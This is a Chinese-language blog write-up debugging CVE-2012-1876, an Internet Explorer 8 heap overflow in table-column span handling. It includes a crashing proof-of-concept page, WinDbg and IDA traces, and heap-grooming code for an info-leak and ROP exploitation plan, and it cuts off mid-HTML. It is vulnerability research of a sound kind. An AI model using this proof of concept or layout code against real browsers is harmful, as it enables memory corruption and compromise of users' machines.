IE越界访问漏洞[cve-2012-1876]分析

第一次接触ctf外的漏洞,跟着各个师傅的博客和《漏洞战争》折腾了好几天,也终于算是成功了。在这里记录一下自己整个调试过程,做个总结。

pwn.gif

调试环境

  • windows7 32位(IE版本: 8.0.7600.16385)
  • windbg
  • Immunity Debugger

POC调试

poc代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >&nbsp;</col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>

基于HPA的漏洞分析方法

首先用gflag.exe对IE进程开启hpa选项(gflag.exe位于windbg文件夹下):

gflag.exe -i iexplore.exe +hpa

用IE打开poc.html,然后使用windbg对进程进行attach。此处注意选择位置靠下的一个进程。
attach.png

然后命令g,继续运行。在浏览器中允许阻止的内容。
然后就可以发现windbg断下了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:005> g
(644.3a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00001482 ecx=00010689 edx=00000014 esi=08128000 edi=08128018
eip=6ad1f167 esp=045edf08 ebp=045edf14 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
6ad1f167 890f mov dword ptr [edi],ecx ds:0023:08128018=????????
0:005> kb
ChildEBP RetAddr Args to Child
045edf14 6ab95b8e 00001482 045ee258 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
045edfc4 6aa00713 00000001 045ee258 000003e8 mshtml!CTableLayout::CalculateMinMax+0x52f
045ee1e0 6a9eaf19 045ee258 045ee224 00000001 mshtml!CTableLayout::CalculateLayout+0x276
045ee38c 6aadcc48 045efa00 045ee5b8 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
045ee4c4 6aacf5d0 04d00ea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
045ee588 6aacf31d 04d00ea8 00016747 00016747 mshtml!CFlowLayout::MeasureSite+0x312
045ee5d0 6aacf664 09330f00 00000061 045efa00 mshtml!CFlowLayout::GetSiteWidth+0x156
045ee610 6aacfb40 09224fb0 04d00ea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce
045ee694 6eef665d 09244ff8 045ee6b4 045ee778 mshtml!CEmbeddedILSObj::Fmt+0x150
...
...

可以看到,是由于edi中储存了一个非法地址而造成的崩溃
通过汇编代码往上回溯,发现edi的值来自于[esi+0x18],而在当前函数中没有esi的处理代码,所以往上层函数看,定位到mshtml!CTableLayout::CalculateMinMax,在此处下上断点,重新attach调试。
因为下断点前要确保所在模块已经被加载,所以可以通过sxe ld:mshtml让程序在加载mshtml后断下,然后再下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
0:013> lmm mshtml
start end module name
6afb0000 6b562000 mshtml (pdb symbols) C:\Users\hgy\Desktop\WinDbg\x86\sym\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb
0:013> bp mshtml!CTableLayout::CalculateMinMax
0:013> bl
0 e 6b0c018a 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
0:013> g
Breakpoint 0 hit
eax=ffffffff ebx=08251ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=045ee604
eip=6b0c018a esp=045ee3a8 ebp=045ee5c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6b0c018a 8bff mov edi,edi

继续单步执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
0:005> p
eax=ffffffff ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0462e4e4
eip=6878018c esp=0462e288 ebp=0462e4a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x2:
6878018c 55 push ebp
0:005>
eax=ffffffff ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0462e4e4
eip=6878018d esp=0462e284 ebp=0462e4a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x3:
6878018d 8bec mov ebp,esp
0:005>
eax=ffffffff ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0462e4e4
eip=6878018f esp=0462e284 ebp=0462e284 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x5:
6878018f 81ec90000000 sub esp,90h
0:005>
eax=ffffffff ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0462e4e4
eip=68780195 esp=0462e1f4 ebp=0462e284 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xb:
68780195 53 push ebx
0:005>
eax=ffffffff ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0462e4e4
eip=68780196 esp=0462e1f0 ebp=0462e284 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xc:
68780196 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:0462e28c=05f8cea8
0:005> dd poi(ebp+8)
05f8cea8 68679868 0562cf30 05f7efb8 68834918
05f8ceb8 00000001 00000000 0108080d ffffffff
05f8cec8 00000000 00000000 00000000 ffffffff
05f8ced8 00016747 00009d9e 00000000 00000000
05f8cee8 00000000 00412802 00000000 00000000
05f8cef8 00000000 00000001 ffffffff ffffffff
05f8cf08 ffffffff ffffffff 68679fd0 00000004
05f8cf18 00000004 08c50ff0 68679fd0 00000004
0:005> ln 68679868
(68679868) mshtml!CTableLayout::`vftable' | (686799a8) mshtml!CTableLayoutBlock::`vftable'
Exact matches:
mshtml!CTableLayout::`vftable' = <no type information>

我们知道,ebp+8是函数的第一个参数值,《漏洞战争》中指出该参数是CTableLayout对象指正,也就是<table>标签在内存中的对象。
通过配合IDA加载符号信息也可得出该结论:
void __thiscall CTableLayout::CalculateMinMax(CTableLayout *this, struct CTableCalcInfo *a2, int a3, int a4)

继续单步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0:005> p
eax=ffffffff ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0462e4e4
eip=68780199 esp=0462e1f0 ebp=0462e284 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0xf:
68780199 56 push esi
0:005>
eax=ffffffff ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=00000000 edi=0462e4e4
eip=6878019a esp=0462e1ec ebp=0462e284 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x10:
6878019a 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:0462e290=0462e518
0:005>
eax=ffffffff ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=0462e518 edi=0462e4e4
eip=6878019d esp=0462e1ec ebp=0462e284 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x13:
6878019d 8b4628 mov eax,dword ptr [esi+28h] ds:0023:0462e540=00000000
0:005>
eax=00000000 ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=0462e518 edi=0462e4e4
eip=687801a0 esp=0462e1ec ebp=0462e284 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x16:
687801a0 898574ffffff mov dword ptr [ebp-8Ch],eax ss:0023:0462e1f8=01171000
0:005>
eax=00000000 ebx=05f8cea8 ecx=00412802 edx=ffffffff esi=0462e518 edi=0462e4e4
eip=687801a6 esp=0462e1ec ebp=0462e284 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x1c:
687801a6 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:05f8cefc=00000001

可以看到在ebx+0x54处储存的值为1,《漏洞战争》中指出此处即为POC中col标签的span值,记作spannum
继续往下执行,同时配合IDA查看CalculateMinMax函数
有这么一段指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
687802cc 8b8394000000    mov     eax,dword ptr [ebx+94h] ; 取出spancmp
687802d2 c1e802 shr eax,2
687802d5 3bc2 cmp eax,edx ; 将spannum值与spancmp/2比较
687802d7 7d39 jge mshtml!CTableLayout::CalculateMinMax+0x1fa (68780312)
687802d9 3bd7 cmp edx,edi
687802db 8db390000000 lea esi,[ebx+90h]
687802e1 0f8c9bcbefff jl mshtml!CTableLayout::CalculateMinMax+0x1da (6867ce82)
687802e7 3b5608 cmp edx,dword ptr [esi+8]
687802ea 7613 jbe mshtml!CTableLayout::CalculateMinMax+0x1e7 (687802ff)
687802ec 6a1c push 1Ch
687802ee 8bc2 mov eax,edx
687802f0 8bfe mov edi,esi
687802f2 e8c08c0c00 call mshtml!CImplAry::EnsureSizeWorker (68848fb7)

0:005> ga 687802cc
eax=00000000 ebx=05f8cea8 ecx=00000000 edx=00000001 esi=0462e518 edi=00000000
eip=687802cc esp=0462e1e8 ebp=0462e284 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1b1:
687802cc 8b8394000000 mov eax,dword ptr [ebx+94h] ds:0023:05f8cf3c=00000000
0:005> p
eax=00000000 ebx=05f8cea8 ecx=00000000 edx=00000001 esi=0462e518 edi=00000000
eip=687802d2 esp=0462e1e8 ebp=0462e284 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1b7:
687802d2 c1e802 shr eax,2
0:005> p
eax=00000000 ebx=05f8cea8 ecx=00000000 edx=00000001 esi=0462e518 edi=00000000
eip=687802d5 esp=0462e1e8 ebp=0462e284 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1ba:
687802d5 3bc2 cmp eax,edx

可以看到程序获取了一个spancmp值,除以2之后与spannum比较,若spannum <= spancmp/4跳转
此时spannum == 1spancmp/4 == 0
所以不会发生跳转,程序继续往后执行直到call mshtml!CImplAry::EnsureSizeWorker
IDA反编译的函数参数为CImplAry::EnsureSizeWorker(v43, v157, (int)v37 + 0x90, 0x1Cu, (int)v125);
跟进该函数(IDA):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __userpurge CImplAry::EnsureSizeWorker@<eax>(CImplAry *this@<ecx>, unsigned int a2@<eax>, int a3@<edi>, unsigned int MaxCount, int a5)
{
//MaxCount == 0x1C
//a2 == spannum
...
v5 = a2;
v14 = 4;
if ( a2 >= 4 )
{
v14 = a2;
if ( a2 > 4 )
{
v6 = ULongAdd(*(_DWORD *)(a3 + 8), *(_DWORD *)(a3 + 8) >> 1, &v14);
if ( v6 )
return v6;
if ( v5 > v14 )
v14 = v5;
}
}
v6 = ULongLongToUInt(&dwBytes, MaxCount * (unsigned __int64)v14, v11);
if ( !v6 )
{
if ( *(_BYTE *)(a3 + 4) & 2 )
{
...//不会进入此处
}
v6 = _HeapRealloc((LPVOID *)(a3 + 12), dwBytes, v12);
...
}
return v6;
}

其中ULongLongToInt的功能为:

1
2
if MaxCount*v14 > 0xFFFFFFFF,dwBytes = -1;
else dwBytes = MaxCount*v14;

分析后可以得知,该函数将会通过_HeapRealloc()来申请一个堆空间,dwBytes为该空间的大小。
同时dwBytes = (spannum > 4 ? spannum : 4) * 0x1c
因为我们的spannum == 1,所以将会分配4*0x1c == 0x70大小的空间

观察_HeapRealloc函数,可知分配的空间地址将会被esi引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:005> p
eax=00000000 ebx=00000000 ecx=00000070 edx=00000000 esi=088faf44 edi=088faf38
eip=68d38ff6 esp=0460e040 ebp=0460e054 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CImplAry::EnsureSizeWorker+0x9c:
68d38ff6 e86edcfdff call mshtml!_HeapRealloc (68d16c69)
0:005> p
eax=00000000 ebx=00000000 ecx=77bc349f edx=00000000 esi=088faf44 edi=088faf38
eip=68d38ffb esp=0460e044 ebp=0460e054 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CImplAry::EnsureSizeWorker+0xa1:
68d38ffb 8bd8 mov ebx,eax
0:005> dd poi(esi)
08c76f90 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
08c76fa0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
08c76fb0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
08c76fc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
08c76fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
08c76fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
08c76ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
08c77000 ???????? ???????? ???????? ????????

注意,关闭了hpa后,堆内存不会被初始化为0xc0。后面建议关闭hpa

保持mshtml!CTableLayout::CalculateMinMax处的断点,让程序继续运行,再次在该函数断下。
往后运行到spannum与spancmp比较处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:005> g
Breakpoint 1 hit
eax=00000000 ebx=088faea8 ecx=00000000 edx=00000001 esi=0460dba8 edi=00000000
eip=68c702cc esp=0460d878 ebp=0460d914 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1b1:
68c702cc 8b8394000000 mov eax,dword ptr [ebx+94h] ds:0023:088faf3c=00000004
0:005> p
eax=00000004 ebx=088faea8 ecx=00000000 edx=00000001 esi=0460dba8 edi=00000000
eip=68c702d2 esp=0460d878 ebp=0460d914 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1b7:
68c702d2 c1e802 shr eax,2
0:005>
eax=00000001 ebx=088faea8 ecx=00000000 edx=00000001 esi=0460dba8 edi=00000000
eip=68c702d5 esp=0460d878 ebp=0460d914 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x1ba:
68c702d5 3bc2 cmp eax,edx
0:005>
eax=00000001 ebx=088faea8 ecx=00000000 edx=00000001 esi=0460dba8 edi=00000000
eip=68c702d7 esp=0460d878 ebp=0460d914 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1bc:
68c702d7 7d39 jge mshtml!CTableLayout::CalculateMinMax+0x1fa (68c70312) [br=1]

发现spancmp == 4spannum == 1
此时spancmp/4 == spannum,将会发生跳转,意味着不会再执行CImplAry::EnsureSizeWorker函数。

然后在获取span值的函数mshtml!CTableCol::GetAAspan下断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:005> bp mshtml!CTableCol::GetAAspan
0:005> g
Breakpoint 2 hit
eax=08776fd0 ebx=088faea8 ecx=00000031 edx=00000000 esi=08c76fac edi=08776fd0
eip=68bfa007 esp=0460d874 ebp=0460d914 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableCol::GetAAspan:
68bfa007 8bff mov edi,edi
0:005> gu
eax=000003e8 ebx=088faea8 ecx=00000002 edx=08d2dff0 esi=08c76fac edi=08776fd0
eip=68e05a33 esp=0460d878 ebp=0460d914 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x383:
68e05a33 3de8030000 cmp eax,3E8h

发现执行完此函数后,返回值(eax)的值已经变为了0x3e8,即POC中所设置的1000

再在函数mshtml!CWidthUnitValue::GetPixelWidth处下断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:005> bp mshtml!CWidthUnitValue::GetPixelWidth
0:005> g
Breakpoint 1 hit
eax=0047e278 ebx=00442380 ecx=004ee070 edx=004af208 esi=0249e2d8 edi=00000001
eip=66ce63d8 esp=0249df9c ebp=0249e044 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CWidthUnitValue::GetPixelWidth:
66ce63d8 8bff mov edi,edi
0:005> gu
eax=00001405 ebx=00442380 ecx=004ee070 edx=00000014 esi=0249e2d8 edi=00000001
eip=66f35ab8 esp=0249dfa8 ebp=0249e044 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x459:
66f35ab8 837da400 cmp dword ptr [ebp-5Ch],0 ss:0023:0249dfe8=00000000

可以看到返回值为(eax)为0x1405,该返回值为poc中col标签中的width * 125
(注:《漏洞战争》和其他师傅的博客中该值都为width * 100,可能是系统配置的原因。。我也很绝望啊)

接下来回到让程序崩溃的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
v158 = CTableCell::GetAAcolSpan(v29);
...
v153 = 0;
if ( v158 > 0 )
{
v99 = 28 * v156;
v144 += v158;
for ( i = 28 * v156; ; v99 = i )
{
v149 = (const struct CWidthUnitValue **)(v99 + *((_DWORD *)v37 + 39));
if ( v151 && v158 > 1 && v153 == (CTableLayout *)(v158 - 1) )
{
v100 = (_DWORD)v155 * (v158 - 1);
v99 = v147 - v100;
v155 = (struct CWidthUnitValue *)(v147 - v100);
}
CTableColCalc::AdjustForCol(
(CTableColCalc *)v99,
(const struct CWidthUnitValue **)v145,
v149,
v155,
a3,
v143,
(int)v125);
v153 = (CTableLayout *)((char *)v153 + 1);
i += 28;
if ( (signed int)v153 >= v158 )
break;
}
}

程序将会循环调用CTableColCalc::AdjustForCol,调用次数由v158控制,即调用spannum

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0:005> g
Breakpoint 1 hit
eax=004793d0 ebx=00421110 ecx=0000001c edx=00000014 esi=00450ffc edi=00000001
eip=670bf152 esp=0235daa0 ebp=0235db4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableColCalc::AdjustForCol:
670bf152 8bff mov edi,edi
0:005> dd 450fe0
00450fe0 00001405 00001405 00001405 00000000
00450ff0 0045f2d0 00000000 00014058 00000000
00451000 004604a0 00000004 00000000 004307f8
00451010 00000000 00431298 00000000 00000011
00451020 00000012 ffffffff 003b74ec 00000000
00451030 00000017 00000017 003b74b8 00000005
00451040 004432a4 003b74b8 00450c50 0000000d
00451050 323f985f 8000f2d0 003a005c 0055005c
0:005> g
Breakpoint 1 hit
eax=004793d0 ebx=00421110 ecx=00000038 edx=00000014 esi=00451018 edi=00000001
eip=670bf152 esp=0235daa0 ebp=0235db4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableColCalc::AdjustForCol:
670bf152 8bff mov edi,edi
0:005> dd 450fe0
00450fe0 00001405 00001405 00001405 00000000
00450ff0 0045f2d0 00000000 00014058 00001405
00451000 00001405 00001405 00000000 004307f8
00451010 00000000 00014058 00000000 00000011
00451020 00000012 ffffffff 003b74ec 00000000
00451030 00000017 00000017 003b74b8 00000005
00451040 004432a4 003b74b8 00450c50 0000000d
00451050 323f985f 8000f2d0 003a005c 0055005c

可以看到,每次执行都会将GetPixelWidth函数获取的0x1405复制到该片内存中。
由于spannum已经被修改为1000,所以会覆盖到1000 * 0x1c大小的空间。
而堆块大小只有0x70,所以一定会导致堆溢出,从而crash。

poc总结

  1. 在首次调用CTableLayout::CalculateMinMax时,由于spannum == 1spancmp == 0,从而调用CImplAry::EnsureSizeWorker函数,分配了4*0x1c == 0x70大小的内存块
  2. poc中通过js修改了span值之后,再次调用CTableLayout::CalculateMinMax时,spannum == 1spancmp == 4,由于满足spannum <= spancmp/4,所以发生跳转,没有重新分配内存块。
  3. CTableColCalc::AdjustForCol函数中,因为spannum被修改为1000,所以将要写入的内存区域远远超过分配好的区域,造成溢出。

漏洞利用分析

内存布局

layout.png
这里的主要思想是构造如图所示内存布局,首先创建大小为0x100的字符串”EEEE…”,接着是同等大小的”AAAA…”和”BBBB…”,最后创建一个Button元素,即CButtonLayout对象。
然后再释放掉字符串”EEEE…”所在的空间,造成内存中间隔着的0x100大小的空位。
这些空位就是为了在之后分配可溢出的内存块时能够占用其中的一个,当溢出时就能够覆盖到后面的”AAAA…”和”BBBB…”字符串。

因为这些字符串在IE浏览器中都是以BSTR的格式进行储存的,即:
4bytes字符串长度 + 字符串数据 + \x00\x00(2bytes)

所以如果能够覆盖掉4字节的字符串长度数据,将它修改为一个较大的值,就能够有效的泄露出位于后方的数据(CButtonLayout的虚表指针)。
如果泄露出CButtonLayout的虚表指针,就可以通过固定的偏移值计算出mshtml.dll在程序中加载的基址。
接下来就可以通过ROP绕过DEP和ASLR了。

布局代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<body>
<div id="evil"></div>
<script>
var free = "EEEE";
while (free.length < 480) free += free;
var string1 = "AAAA";
while (string1.length < 480) string1 += string1;
var string2 = "BBBB";
while (string2.length < 480) string2 += string2;
var fr = new Array();
var al = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i = 0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100 - 6) / 2);
al[i] = string1.substring(0, (0x100 - 6) / 2);
al[i+1] = string2.substring(0, (0x100 - 6) / 2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
//alert(1);
for (var i = 200; i < 500; i += 2) {
fr[i] = null;
CollectGarbage(); //释放"EEEE..."字符串
}
</script>
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="1" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="2" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="3" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="4" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="5" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="6" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="7" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="8" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="9" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="10" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="11" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="12" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="13" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="14" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="15" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="16" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="17" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="18" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="19" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="20" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="21" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="22" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="23" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="24" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="25" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="26" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="27" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="28" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="29" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="30" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="31" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="32" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="33" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="34" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="35" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="36" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="37" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="38" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="39" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="40" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="41" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="42" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="43" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="44" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="45" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="46" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="47" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="48" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="49" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="50" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="51" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="52" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="53" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="54" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="55" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="56" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="57" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="58" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="59" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="60" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="61" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="62" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="63" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="64" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="65" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="66" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="67" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="68" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="69" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="70" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="71" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="72" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="73" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="74" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="75" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="76" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="77" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="78" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="79" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="80" width="41" span="9" >&nbsp </col></table><table 